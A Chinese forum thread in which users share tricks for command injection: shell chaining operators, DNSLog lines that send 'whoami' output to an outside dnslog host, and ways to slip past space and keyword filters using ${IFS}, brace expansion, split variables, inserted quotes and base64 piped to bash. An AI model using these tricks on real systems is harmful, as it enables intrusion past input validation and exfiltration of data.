【HK】命令执行的绕过Tip

安库ANKH.   ·   发表于 8个月前   ·   编程代码
确定不进来看看,[滑稽]有手就行!

12 Reply   |  Until 8个月前 | 1113 View

1018476364
发表于 8个月前

管道符

;

顺序执行,命令之间没有逻辑关系

正常顺序执行

&&

逻辑与; 当命令1正确执行后,才会执行命令2。否则命令2不会执行

两个命令都会执行

||

逻辑或; 当命令1不正确执行后,命令2才会执行。否则命令2不会执行

mi

会执行whom

评论列表

  • 加载数据中...

编写评论内容

3180386827
发表于 8个月前

其他特殊符号
符号

作用

'

单引号,在单引号中所有的特殊符号,如“$”和“`”(反引号)都无特殊含义

"

双引号,在双引号中特殊符号都无特殊含义,但“$”、“`”(反引号)和“\”是例外,拥有“调用变量值”,“引用命令”和“转义符”的特殊含义

`

反引号:反引号括起来的内容是系统命令,在Bash中先会执行它和()

$()

和反引号作用相同,用来引用系统命令

#

在shell脚本中,#开头的行代表注释

$

用于调用变量的值,如需要调用变量name的值时,需要用$name的方式得到

\

转义符,跟在\之后的特殊字符将失去特殊含义,变为普通字符

评论列表

  • 加载数据中...

编写评论内容

小新
发表于 8个月前

DNSLog带出命令

Linux:
curl http://`whoami`.uvlmxy.dnslog.cn
ping `whoami`.uvlmxy.dnslog.cn

Windows:
ping %USERNAME%.uvlmxy.dnslog.cn

评论列表

  • 加载数据中...

编写评论内容

yyl941
发表于 8个月前

绕过空格限制
${IFS}

root@mon-one:~/tmp/tmp# cat tmp
one
hh
nihao
root@mon-one:~/tmp/tmp# cat${IFS}tmp
one
hh
nihao

评论列表

  • 加载数据中...

编写评论内容

出黑1329496145
发表于 8个月前

重定向符>

root@mon-one:~/tmp/tmp# cat>tmp
one
hh
nihao

评论列表

  • 加载数据中...

编写评论内容

dokevike
发表于 8个月前

{,}

root@mon-one:~/tmp/tmp# {cat,tmp}
one
hh
nihao

评论列表

  • 加载数据中...

编写评论内容

安好
发表于 8个月前

使用环境变量

COMMAND=$'x20-al';ls$COMMAND

评论列表

  • 加载数据中...

编写评论内容

linxun
发表于 8个月前

绕过命令黑名单

拼接

root@mon-one:~/tmp/tmp# cat tmp
one
hh
nihao
root@mon-one:~/tmp/tmp# a=ca;b=t;c=tmp;$a$b $c
one
hh
nihao

评论列表

  • 加载数据中...

编写评论内容

darkc
发表于 8个月前

base64编码

root@mon-one:~/tmp/tmp# `echo "Y2F0IHRtcA=="|base64 -d`
one
hh
nihao
root@mon-one:~/tmp/tmp# echo "Y2F0IHRtcA=="|base64 -d|bash
one
hh
nihao

评论列表

  • 加载数据中...

编写评论内容

83344617
发表于 8个月前

单引号/双引号

root@mon-one:~/tmp/tmp# ca''t tm""p
one
hh
nihao

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content